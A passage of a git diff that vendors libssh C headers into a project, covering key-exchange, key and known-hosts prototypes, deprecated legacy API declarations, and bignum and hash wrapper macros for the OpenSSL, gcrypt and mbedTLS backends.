ssh_kex_append_extensions(ssh_session session, struct ssh_kex_struct *pkex); +int ssh_kex_select_methods(ssh_session session); +int ssh_verify_existing_algo(enum ssh_kex_types_e algo, const char *name); +char *ssh_keep_known_algos(enum ssh_kex_types_e algo, const char *list); +char *ssh_keep_fips_algos(enum ssh_kex_types_e algo, const char *list); +char **ssh_space_tokenize(const char *chain); +int ssh_get_kex1(ssh_session session); +char *ssh_find_matching(const char *in_d, const char *what_d); +const char *ssh_kex_get_supported_method(uint32_t algo); +const char *ssh_kex_get_default_methods(uint32_t algo); +const char *ssh_kex_get_fips_methods(uint32_t algo); +const char *ssh_kex_get_description(uint32_t algo); +char *ssh_client_select_hostkeys(ssh_session session); +int ssh_send_rekex(ssh_session session); +int server_set_kex(ssh_session session); +int ssh_make_sessionid(ssh_session session); +/* add data for the final cookie */ +int ssh_hashbufin_add_cookie(ssh_session session, unsigned char *cookie); +int ssh_hashbufout_add_cookie(ssh_session session); +int ssh_generate_session_keys(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* KEX_H_ */ diff --git a/vendor/libssh/include/libssh/keys.h b/vendor/libssh/include/libssh/keys.h new file mode 100644 index 0000000..615f1ea --- /dev/null +++ b/vendor/libssh/include/libssh/keys.h @@ -0,0 +1,78 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef KEYS_H_ +#define KEYS_H_ + +#include "config.h" +#include "libssh/libssh.h" +#include "libssh/wrapper.h" + +struct ssh_public_key_struct { + int type; + const char *type_c; /* Don't free it ! it is static */ +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_pub; + gcry_sexp_t rsa_pub; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa_pub; + RSA *rsa_pub; +#else /* OPENSSL_VERSION_NUMBER */ + EVP_PKEY *key_pub; +#endif +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa_pub; + void *dsa_pub; +#endif +}; + +struct ssh_private_key_struct { + int type; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_priv; + gcry_sexp_t rsa_priv; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa_priv; + RSA *rsa_priv; +#else + EVP_PKEY *key_priv; +#endif /* OPENSSL_VERSION_NUMBER */ +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa_priv; + void *dsa_priv; +#endif +}; + +#ifdef __cplusplus +extern "C" { +#endif + +const char *ssh_type_to_char(int type); +int ssh_type_from_name(const char *name); + +ssh_public_key publickey_from_string(ssh_session session, ssh_string pubkey_s); + +#ifdef __cplusplus +} +#endif + +#endif /* KEYS_H_ */ diff --git a/vendor/libssh/include/libssh/knownhosts.h b/vendor/libssh/include/libssh/knownhosts.h new file mode 100644 index 0000000..b50018c --- /dev/null +++ b/vendor/libssh/include/libssh/knownhosts.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 20014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + +#ifndef SSH_KNOWNHOSTS_H_ +#define SSH_KNOWNHOSTS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_list *ssh_known_hosts_get_algorithms(ssh_session session); +char *ssh_known_hosts_get_algorithms_names(ssh_session session); +enum ssh_known_hosts_e +ssh_session_get_known_hosts_entry_file(ssh_session session, + const char *filename, + struct ssh_knownhosts_entry **pentry); + +#ifdef __cplusplus +} +#endif + +#endif /* SSH_KNOWNHOSTS_H_ */ diff --git a/vendor/libssh/include/libssh/legacy.h b/vendor/libssh/include/libssh/legacy.h new file mode 100644 index 0000000..38bef4d --- /dev/null +++ b/vendor/libssh/include/libssh/legacy.h @@ -0,0 +1,128 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* Since libssh.h includes legacy.h, it's important that libssh.h is included + * first. we don't define LEGACY_H now because we want it to be defined when + * included from libssh.h + * All function calls declared in this header are deprecated and meant to be + * removed in future. + */ + +#ifndef LEGACY_H_ +#define LEGACY_H_ + +typedef struct ssh_private_key_struct* ssh_private_key; +typedef struct ssh_public_key_struct* ssh_public_key; + +#ifdef __cplusplus +extern "C" { +#endif + +LIBSSH_API int ssh_auth_list(ssh_session session); +LIBSSH_API int ssh_userauth_offer_pubkey(ssh_session session, const char *username, int type, ssh_string publickey); +LIBSSH_API int ssh_userauth_pubkey(ssh_session session, const char *username, ssh_string publickey, ssh_private_key privatekey); +#ifndef _WIN32 +LIBSSH_API int ssh_userauth_agent_pubkey(ssh_session session, const char *username, + ssh_public_key publickey); +#endif +LIBSSH_API int ssh_userauth_autopubkey(ssh_session session, const char *passphrase); +LIBSSH_API int ssh_userauth_privatekey_file(ssh_session session, const char *username, + const char *filename, const char *passphrase); + +SSH_DEPRECATED LIBSSH_API void buffer_free(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API void *buffer_get(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API uint32_t buffer_get_len(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API ssh_buffer buffer_new(void); + +SSH_DEPRECATED LIBSSH_API ssh_channel channel_accept_x11(ssh_channel channel, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int channel_change_pty_size(ssh_channel channel,int cols,int rows); +SSH_DEPRECATED LIBSSH_API ssh_channel channel_forward_accept(ssh_session session, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int channel_close(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_forward_cancel(ssh_session session, const char *address, int port); +SSH_DEPRECATED LIBSSH_API int channel_forward_listen(ssh_session session, const char *address, int port, int *bound_port); +SSH_DEPRECATED LIBSSH_API void channel_free(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_get_exit_status(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API ssh_session channel_get_session(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_closed(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_eof(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_open(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API ssh_channel channel_new(ssh_session session); +SSH_DEPRECATED LIBSSH_API int channel_open_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +SSH_DEPRECATED LIBSSH_API int channel_open_session(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_poll(ssh_channel channel, int is_stderr); +SSH_DEPRECATED LIBSSH_API int channel_read(ssh_channel channel, void *dest, uint32_t count, int is_stderr); + +SSH_DEPRECATED LIBSSH_API int channel_read_buffer(ssh_channel channel, ssh_buffer buffer, uint32_t count, + int is_stderr); + +SSH_DEPRECATED LIBSSH_API int channel_read_nonblocking(ssh_channel channel, void *dest, uint32_t count, + int is_stderr); +SSH_DEPRECATED LIBSSH_API int channel_request_env(ssh_channel channel, const char *name, const char *value); +SSH_DEPRECATED LIBSSH_API int channel_request_exec(ssh_channel channel, const char *cmd); +SSH_DEPRECATED LIBSSH_API int channel_request_pty(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_pty_size(ssh_channel channel, const char *term, + int cols, int rows); +SSH_DEPRECATED LIBSSH_API int channel_request_shell(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_send_signal(ssh_channel channel, const char *signum); +SSH_DEPRECATED LIBSSH_API int channel_request_sftp(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_subsystem(ssh_channel channel, const char *subsystem); +SSH_DEPRECATED LIBSSH_API int channel_request_x11(ssh_channel channel, int single_connection, const char *protocol, + const char *cookie, int screen_number); +SSH_DEPRECATED LIBSSH_API int channel_send_eof(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_select(ssh_channel *readchans, ssh_channel *writechans, ssh_channel *exceptchans, struct + timeval * timeout); +SSH_DEPRECATED LIBSSH_API void channel_set_blocking(ssh_channel channel, int blocking); +SSH_DEPRECATED LIBSSH_API int channel_write(ssh_channel channel, const void *data, uint32_t len); + +SSH_DEPRECATED LIBSSH_API void privatekey_free(ssh_private_key prv); +SSH_DEPRECATED LIBSSH_API ssh_private_key privatekey_from_file(ssh_session session, const char *filename, + int type, const char *passphrase); +SSH_DEPRECATED LIBSSH_API void publickey_free(ssh_public_key key); +SSH_DEPRECATED LIBSSH_API int ssh_publickey_to_file(ssh_session session, const char *file, + ssh_string pubkey, int type); +SSH_DEPRECATED LIBSSH_API ssh_string publickey_from_file(ssh_session session, const char *filename, + int *type); +SSH_DEPRECATED LIBSSH_API ssh_public_key publickey_from_privatekey(ssh_private_key prv); +SSH_DEPRECATED LIBSSH_API ssh_string publickey_to_string(ssh_public_key key); +SSH_DEPRECATED LIBSSH_API int ssh_try_publickey_from_file(ssh_session session, const char *keyfile, + ssh_string *publickey, int *type); +SSH_DEPRECATED LIBSSH_API enum ssh_keytypes_e ssh_privatekey_type(ssh_private_key privatekey); + +LIBSSH_API ssh_string ssh_get_pubkey(ssh_session session); + +LIBSSH_API ssh_message ssh_message_retrieve(ssh_session session, uint32_t packettype); +LIBSSH_API ssh_public_key ssh_message_auth_publickey(ssh_message msg); + +SSH_DEPRECATED LIBSSH_API void string_burn(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_copy(ssh_string str); +SSH_DEPRECATED LIBSSH_API void *string_data(ssh_string str); +SSH_DEPRECATED LIBSSH_API int string_fill(ssh_string str, const void *data, size_t len); +SSH_DEPRECATED LIBSSH_API void string_free(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_from_char(const char *what); +SSH_DEPRECATED LIBSSH_API size_t string_len(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_new(size_t size); +SSH_DEPRECATED LIBSSH_API char *string_to_char(ssh_string str); + +#ifdef __cplusplus +} +#endif + +#endif /* LEGACY_H_ */ diff --git a/vendor/libssh/include/libssh/libcrypto.h b/vendor/libssh/include/libssh/libcrypto.h new file mode 100644 index 0000000..17bfff5 --- /dev/null +++ b/vendor/libssh/include/libssh/libcrypto.h @@ -0,0 +1,116 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBCRYPTO_H_ +#define LIBCRYPTO_H_ + +#include "config.h" + +#ifdef HAVE_LIBCRYPTO + +#include +#include +#include +#include +#include +#include +#include + +typedef EVP_MD_CTX* SHACTX; +typedef EVP_MD_CTX* SHA256CTX; +typedef EVP_MD_CTX* SHA384CTX; +typedef EVP_MD_CTX* SHA512CTX; +typedef EVP_MD_CTX* MD5CTX; +typedef EVP_MD_CTX* HMACCTX; + +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH +#ifdef MD5_DIGEST_LEN + #undef MD5_DIGEST_LEN +#endif +#define MD5_DIGEST_LEN MD5_DIGEST_LENGTH + +#ifdef HAVE_OPENSSL_ECC +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE +#endif + +#include +#include +typedef BIGNUM* bignum; +typedef const BIGNUM* const_bignum; +typedef BN_CTX* bignum_CTX; + +#define bignum_new() BN_new() +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + BN_clear_free((num)); \ + (num)=NULL; \ + } \ + } while(0) +#define bignum_set_word(bn,n) BN_set_word(bn,n) +#define bignum_bin2bn(data, datalen, dest) \ + do { \ + (*dest) = BN_new(); \ + if ((*dest) != NULL) { \ + BN_bin2bn(data,datalen,(*dest)); \ + } \ + } while(0) +#define bignum_bn2dec(num) BN_bn2dec(num) +#define bignum_dec2bn(data, bn) BN_dec2bn(bn, data) +#define bignum_hex2bn(data, bn) BN_hex2bn(bn, data) +#define bignum_bn2hex(num, dest) (*dest)=(unsigned char *)BN_bn2hex(num) +#define bignum_rand(rnd, bits) BN_rand(rnd, bits, 0, 1) +#define bignum_rand_range(rnd, max) BN_rand_range(rnd, max) +#define bignum_ctx_new() BN_CTX_new() +#define bignum_ctx_free(num) BN_CTX_free(num) +#define bignum_ctx_invalid(ctx) ((ctx) == NULL) +#define bignum_mod_exp(dest,generator,exp,modulo,ctx) BN_mod_exp(dest,generator,exp,modulo,ctx) +#define bignum_add(dest, a, b) BN_add(dest, a, b) +#define bignum_sub(dest, a, b) BN_sub(dest, a, b) +#define bignum_mod(dest, a, b, ctx) BN_mod(dest, a, b, ctx) +#define bignum_num_bytes(num) (size_t)BN_num_bytes(num) +#define bignum_num_bits(num) (size_t)BN_num_bits(num) +#define bignum_is_bit_set(num,bit) BN_is_bit_set(num, (int)bit) +#define bignum_bn2bin(num,len, ptr) BN_bn2bin(num, ptr) +#define bignum_cmp(num1,num2) BN_cmp(num1,num2) +#define bignum_rshift1(dest, src) BN_rshift1(dest, src) +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = BN_dup(orig); \ + } else { \ + BN_copy(*(dest), orig); \ + } \ + } while(0) + + +/* Returns true if the OpenSSL is operating in FIPS mode */ +#ifdef HAVE_OPENSSL_FIPS_MODE +#define ssh_fips_mode() 0 +#elif OPENSSL_VERSION_NUMBER >= 0x30000000L +#define ssh_fips_mode() EVP_default_properties_is_fips_enabled(NULL) +#else +#define ssh_fips_mode() false +#endif + +#endif /* HAVE_LIBCRYPTO */ + +#endif /* LIBCRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/libgcrypt.h b/vendor/libssh/include/libssh/libgcrypt.h new file mode 100644 index 0000000..c6afc22 --- /dev/null +++ b/vendor/libssh/include/libssh/libgcrypt.h @@ -0,0 +1,126 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBGCRYPT_H_ +#define LIBGCRYPT_H_ + +#include "config.h" + +#ifdef HAVE_LIBGCRYPT + +#include +typedef gcry_md_hd_t SHACTX; +typedef gcry_md_hd_t SHA256CTX; +typedef gcry_md_hd_t SHA384CTX; +typedef gcry_md_hd_t SHA512CTX; +typedef gcry_md_hd_t MD5CTX; +typedef gcry_md_hd_t HMACCTX; +#define SHA_DIGEST_LENGTH 20 +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define MD5_DIGEST_LEN 16 +#define SHA256_DIGEST_LENGTH 32 +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LENGTH 48 +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LENGTH 64 +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH + +#ifndef EVP_MAX_MD_SIZE +#define EVP_MAX_MD_SIZE 64 +#endif + +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE + +typedef gcry_mpi_t bignum; +typedef const struct gcry_mpi *const_bignum; +typedef void* bignum_CTX; + +/* Constants for curves. */ +#define NID_gcrypt_nistp256 0 +#define NID_gcrypt_nistp384 1 +#define NID_gcrypt_nistp521 2 + +/* missing gcrypt functions */ +int ssh_gcry_dec2bn(bignum *bn, const char *data); +char *ssh_gcry_bn2dec(bignum bn); +int ssh_gcry_rand_range(bignum rnd, bignum max); + +#define bignum_new() gcry_mpi_new(0) +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + gcry_mpi_release((num)); \ + (num)=NULL; \ + } \ + } while (0) +#define bignum_free(num) gcry_mpi_release(num) +#define bignum_ctx_new() NULL +#define bignum_ctx_free(ctx) do {(ctx) = NULL;} while(0) +#define bignum_ctx_invalid(ctx) (ctx != NULL) +#define bignum_set_word(bn,n) (gcry_mpi_set_ui(bn,n)!=NULL ? 1 : 0) +#define bignum_bin2bn(data,datalen,dest) gcry_mpi_scan(dest,GCRYMPI_FMT_USG,data,datalen,NULL) +#define bignum_bn2dec(num) ssh_gcry_bn2dec(num) +#define bignum_dec2bn(num, data) ssh_gcry_dec2bn(data, num) + +#define bignum_bn2hex(num, data) \ + gcry_mpi_aprint(GCRYMPI_FMT_HEX, data, NULL, (const gcry_mpi_t)num) + +#define bignum_hex2bn(data, num) (gcry_mpi_scan(num,GCRYMPI_FMT_HEX,data,0,NULL)==0?1:0) +#define bignum_rand(num,bits) 1,gcry_mpi_randomize(num,bits,GCRY_STRONG_RANDOM),gcry_mpi_set_bit(num,bits-1),gcry_mpi_set_bit(num,0) +#define bignum_mod_exp(dest,generator,exp,modulo, ctx) 1,gcry_mpi_powm(dest,generator,exp,modulo) +#define bignum_num_bits(num) gcry_mpi_get_nbits(num) +#define bignum_num_bytes(num) ((gcry_mpi_get_nbits(num)+7)/8) +#define bignum_is_bit_set(num,bit) gcry_mpi_test_bit(num,bit) +#define bignum_bn2bin(num,datalen,data) gcry_mpi_print(GCRYMPI_FMT_USG,data,datalen,NULL,num) +#define bignum_cmp(num1,num2) gcry_mpi_cmp(num1,num2) +#define bignum_rshift1(dest, src) gcry_mpi_rshift (dest, src, 1) +#define bignum_add(dst, a, b) gcry_mpi_add(dst, a, b) +#define bignum_sub(dst, a, b) gcry_mpi_sub(dst, a, b) +#define bignum_mod(dst, a, b, ctx) 1,gcry_mpi_mod(dst, a, b) +#define bignum_rand_range(rnd, max) ssh_gcry_rand_range(rnd, max); +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = gcry_mpi_copy(orig); \ + } else { \ + gcry_mpi_set(*(dest), orig); \ + } \ + } while(0) +/* Helper functions for data conversions. */ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Extract an MPI from the given s-expression SEXP named NAME which is + encoded using INFORMAT and store it in a newly allocated ssh_string + encoded using OUTFORMAT. */ +ssh_string ssh_sexp_extract_mpi(const gcry_sexp_t sexp, + const char *name, + enum gcry_mpi_format informat, + enum gcry_mpi_format outformat); + +#define ssh_fips_mode() false + +#ifdef __cplusplus +} +#endif + +#endif /* HAVE_LIBGCRYPT */ + +#endif /* LIBGCRYPT_H_ */ diff --git a/vendor/libssh/include/libssh/libmbedcrypto.h b/vendor/libssh/include/libssh/libmbedcrypto.h new file mode 100644 index 0000000..540a025 --- /dev/null +++ b/vendor/libssh/include/libssh/libmbedcrypto.h @@ -0,0 +1,147 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2017 Sartura d.o.o. + * + * Author: Juraj Vijtiuk + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef LIBMBEDCRYPTO_H_ +#define LIBMBEDCRYPTO_H_ + +#include "config.h" + +#ifdef HAVE_LIBMBEDCRYPTO + +#include +#include +#include +#include +#include +#include + +typedef mbedtls_md_context_t *SHACTX; +typedef mbedtls_md_context_t *SHA256CTX; +typedef mbedtls_md_context_t *SHA384CTX; +typedef mbedtls_md_context_t *SHA512CTX; +typedef mbedtls_md_context_t *MD5CTX; +typedef mbedtls_md_context_t *HMACCTX; + +#define SHA_DIGEST_LENGTH 20 +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define MD5_DIGEST_LEN 16 +#define SHA256_DIGEST_LENGTH 32 +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LENGTH 48 +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LENGTH 64 +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH + +#ifndef EVP_MAX_MD_SIZE +#define EVP_MAX_MD_SIZE 64 +#endif + +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE + +typedef mbedtls_mpi *bignum; +typedef const mbedtls_mpi *const_bignum; +typedef void* bignum_CTX; + +/* Constants for curves */ +#define NID_mbedtls_nistp256 0 +#define NID_mbedtls_nistp384 1 +#define NID_mbedtls_nistp521 2 + +struct mbedtls_ecdsa_sig { + bignum r; + bignum s; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +bignum ssh_mbedcry_bn_new(void); +void ssh_mbedcry_bn_free(bignum num); +unsigned char *ssh_mbedcry_bn2num(const_bignum num, int radix); +int ssh_mbedcry_rand(bignum rnd, int bits, int top, int bottom); +int ssh_mbedcry_is_bit_set(bignum num, size_t pos); +int ssh_mbedcry_rand_range(bignum dest, bignum max); +int ssh_mbedcry_hex2bn(bignum *dest, char *data); + +#define bignum_new() ssh_mbedcry_bn_new() +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + ssh_mbedcry_bn_free(num); \ + (num)=NULL; \ + } \ + } while(0) +#define bignum_ctx_new() NULL +#define bignum_ctx_free(num) do {(num) = NULL;} while(0) +#define bignum_ctx_invalid(ctx) (ctx == NULL?0:1) +#define bignum_set_word(bn, n) (mbedtls_mpi_lset(bn, n)==0?1:0) /* TODO fix + overflow/underflow */ +#define bignum_bin2bn(data, datalen, bn) do { \ + *(bn) = bignum_new(); \ + if (*(bn) != NULL) { \ + mbedtls_mpi_read_binary(*(bn), data, datalen); \ + } \ + } while(0) +#define bignum_bn2dec(num) ssh_mbedcry_bn2num(num, 10) +#define bignum_dec2bn(data, bn) mbedtls_mpi_read_string(bn, 10, data) +#define bignum_bn2hex(num, dest) (*dest)=ssh_mbedcry_bn2num(num, 16) +#define bignum_hex2bn(data, dest) ssh_mbedcry_hex2bn(dest, data) +#define bignum_rand(rnd, bits) ssh_mbedcry_rand((rnd), (bits), 0, 1) +#define bignum_rand_range(rnd, max) ssh_mbedcry_rand_range(rnd, max) +#define bignum_mod_exp(dest, generator, exp, modulo, ctx) \ + (mbedtls_mpi_exp_mod(dest, generator, exp, modulo, NULL)==0?1:0) +#define bignum_add(dest, a, b) mbedtls_mpi_add_mpi(dest, a, b) +#define bignum_sub(dest, a, b) mbedtls_mpi_sub_mpi(dest, a, b) +#define bignum_mod(dest, a, b, ctx) \ + (mbedtls_mpi_mod_mpi(dest, a, b) == 0 ? 1 : 0) +#define bignum_num_bytes(num) mbedtls_mpi_size(num) +#define bignum_num_bits(num) mbedtls_mpi_bitlen(num) +#define bignum_is_bit_set(num, bit) ssh_mbedcry_is_bit_set(num, bit) +#define bignum_bn2bin(num, len, ptr) mbedtls_mpi_write_binary(num, ptr, \ + mbedtls_mpi_size(num)) +#define bignum_cmp(num1, num2) mbedtls_mpi_cmp_mpi(num1, num2) +#define bignum_rshift1(dest, src) mbedtls_mpi_copy(dest, src), mbedtls_mpi_shift_r(dest, 1) +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = bignum_new(); \ + } \ + if (*(dest) != NULL) { \ + mbedtls_mpi_copy(orig, *(dest)); \ + } \ + } while(0) + +mbedtls_ctr_drbg_context *ssh_get_mbedtls_ctr_drbg_context(void); + +int ssh_mbedtls_random(void *where, int len, int strong); + +ssh_string make_ecpoint_string(const mbedtls_ecp_group *g, const + mbedtls_ecp_point *p); + +#define ssh_fips_mode() false + +#ifdef __cplusplus +} +#endif + +#endif /* HAVE_LIBMBEDCRYPTO */ +#endif /* LIBMBEDCRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/libssh.h b/vendor/libssh/include/libssh/libssh.h new file mode 100644 index 0000000..669a0a9 --- /dev/null +++ b/vendor/libssh/include/libssh/libssh.h @@ -0,0 +1,853 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2023 by Aris Adamantiadis and the libssh team + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_H +#define _LIBSSH_H + +#include + +#if defined _WIN32 || defined __CYGWIN__ + #ifdef LIBSSH_STATIC + #define LIBSSH_API + #else + #ifdef LIBSSH_EXPORTS + #ifdef __GNUC__ + #define LIBSSH_API __attribute__((dllexport)) + #else + #define LIBSSH_API __declspec(dllexport) + #endif + #else + #ifdef __GNUC__ + #define LIBSSH_API __attribute__((dllimport)) + #else + #define LIBSSH_API __declspec(dllimport) + #endif + #endif + #endif +#else + #if __GNUC__ >= 4 && !defined(__OS2__) + #define LIBSSH_API __attribute__((visibility("default"))) + #else + #define LIBSSH_API + #endif +#endif + +#include + +#ifdef _MSC_VER + /* Visual Studio hasn't inttypes.h so it doesn't know uint32_t */ + typedef int int32_t; + typedef unsigned int uint32_t; + typedef unsigned short uint16_t; + typedef unsigned char uint8_t; + typedef unsigned long long uint64_t; + typedef int mode_t; +#else /* _MSC_VER */ + #include + #include + #include +#endif /* _MSC_VER */ + +#ifdef _WIN32 + #include +#else /* _WIN32 */ + #include /* for fd_set * */ + #include +#endif /* _WIN32 */ + +#define SSH_STRINGIFY(s) SSH_TOSTRING(s) +#define SSH_TOSTRING(s) #s + +/* GCC have printf type attribute check. */ +#ifdef __GNUC__ +#define PRINTF_ATTRIBUTE(a,b) __attribute__ ((__format__ (__printf__, a, b))) +#else +#define PRINTF_ATTRIBUTE(a,b) +#endif /* __GNUC__ */ + +#if !defined(SSH_SUPPRESS_DEPRECATED) && defined(__GNUC__) +#define SSH_DEPRECATED __attribute__ ((deprecated)) +#else +#define SSH_DEPRECATED +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_counter_struct { + uint64_t in_bytes; + uint64_t out_bytes; + uint64_t in_packets; + uint64_t out_packets; +}; +typedef struct ssh_counter_struct *ssh_counter; + +typedef struct ssh_agent_struct* ssh_agent; +typedef struct ssh_buffer_struct* ssh_buffer; +typedef struct ssh_channel_struct* ssh_channel; +typedef struct ssh_message_struct* ssh_message; +typedef struct ssh_pcap_file_struct* ssh_pcap_file; +typedef struct ssh_key_struct* ssh_key; +typedef struct ssh_scp_struct* ssh_scp; +typedef struct ssh_session_struct* ssh_session; +typedef struct ssh_string_struct* ssh_string; +typedef struct ssh_event_struct* ssh_event; +typedef struct ssh_connector_struct * ssh_connector; +typedef void* ssh_gssapi_creds; + +/* Socket type */ +#ifdef _WIN32 +#ifndef socket_t +typedef SOCKET socket_t; +#endif /* socket_t */ +#else /* _WIN32 */ +#ifndef socket_t +typedef int socket_t; +#endif +#endif /* _WIN32 */ + +#define 